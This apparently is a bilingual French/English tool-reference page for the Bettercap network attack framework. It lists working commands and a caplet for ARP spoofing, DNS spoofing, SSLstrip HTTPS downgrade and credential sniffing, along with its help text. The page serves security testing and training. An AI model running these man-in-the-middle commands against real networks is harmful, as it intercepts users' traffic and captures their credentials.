retour aux outils back to tools Ducklings

Bettercap

Framework d'attaque et de surveillance réseau complet. Gère l'ARP spoofing, le DNS spoofing, le déclassement HTTPS et la capture de credentials. Full-featured network attack and monitoring framework. Handles ARP spoofing, DNS spoofing, HTTPS downgrade, and credential capture.

↗ https://www.bettercap.org

Overview

Bettercap is a modern, modular network attack framework. It replaces older tools like ettercap with a cleaner interface, interactive REPL, and support for Wi-Fi, BLE, and HID attacks in addition to LAN attacks.

Common Usage

Launch interactive REPL

sudo bettercap -iface eth0

Run with a caplet (script) file

sudo bettercap -iface eth0 -caplet arp-spoof.cap

REPL Commands

# Network discovery
net.probe on
net.show

# ARP spoofing (MITM between target and gateway)
set arp.spoof.targets 10.10.10.5
arp.spoof on

# Enable packet forwarding (required for MITM)
# Set net.ipv4.ip_forward=1 on the OS first

# HTTP/HTTPS sniffer
set https.proxy.sslstrip true
http.proxy on
https.proxy on
net.sniff on

# DNS spoofing
set dns.spoof.domains target.com
set dns.spoof.address 10.10.10.99
dns.spoof on

Caplet Example

# arp-mitm.cap
net.probe on
sleep 1
set arp.spoof.targets 10.10.10.5
arp.spoof on
net.sniff on

Help / Man page

bettercap [options]

OPTIONS:
  -iface IFACE      Network interface
  -caplet FILE      Caplet script to run on start
  -eval COMMANDS    Run commands on start (semicolon-separated)
  -no-colors        Disable terminal colors
  -no-history       Disable interactive history
  -silent           Suppress all output except errors
  -debug            Enable debug messages

KEY MODULES:
  net.probe         Host discovery via ARP/mDNS/NBNS probes
  net.sniff         Packet sniffer (captures cleartext creds)
  arp.spoof         ARP cache poisoning for MITM
  dns.spoof         DNS response spoofing
  http.proxy        HTTP transparent proxy
  https.proxy       HTTPS transparent proxy (SSLstrip)
  wifi              802.11 attacks (requires monitor mode)
  ble.recon         Bluetooth Low Energy recon

WEB UI:
  ui.update
  set api.rest.webui true
  api.rest on         # Access at http://127.0.0.1:8083

Vue d’ensemble

Bettercap est un framework d’attaque réseau moderne et modulaire. Il remplace les anciens outils comme ettercap avec une interface plus propre, un REPL interactif, et le support des attaques Wi-Fi, BLE et HID en plus des attaques LAN.

Utilisation courante

# Lancer le REPL interactif
sudo bettercap -iface eth0

# Exécuter avec un fichier caplet (script)
sudo bettercap -iface eth0 -caplet arp-spoof.cap

Commandes REPL

# Découverte réseau
net.probe on
net.show

# ARP spoofing (MITM entre la cible et la passerelle)
set arp.spoof.targets 10.10.10.5
arp.spoof on

# Activer le routage de paquets (requis pour MITM)
# Définir net.ipv4.ip_forward=1 au niveau de l'OS d'abord

# Sniffer HTTP/HTTPS
set https.proxy.sslstrip true
http.proxy on
https.proxy on
net.sniff on

# DNS spoofing
set dns.spoof.domains target.com
set dns.spoof.address 10.10.10.99
dns.spoof on

Exemple de caplet

# arp-mitm.cap
net.probe on
sleep 1
set arp.spoof.targets 10.10.10.5
arp.spoof on
net.sniff on

Aide / Page de manuel

bettercap [options]

OPTIONS:
  -iface IFACE      Network interface
  -caplet FILE      Caplet script to run on start
  -eval COMMANDS    Run commands on start (semicolon-separated)
  -no-colors        Disable terminal colors
  -no-history       Disable interactive history
  -silent           Suppress all output except errors
  -debug            Enable debug messages

KEY MODULES:
  net.probe         Host discovery via ARP/mDNS/NBNS probes
  net.sniff         Packet sniffer (captures cleartext creds)
  arp.spoof         ARP cache poisoning for MITM
  dns.spoof         DNS response spoofing
  http.proxy        HTTP transparent proxy
  https.proxy       HTTPS transparent proxy (SSLstrip)
  wifi              802.11 attacks (requires monitor mode)
  ble.recon         Bluetooth Low Energy recon

WEB UI:
  ui.update
  set api.rest.webui true
  api.rest on         # Access at http://127.0.0.1:8083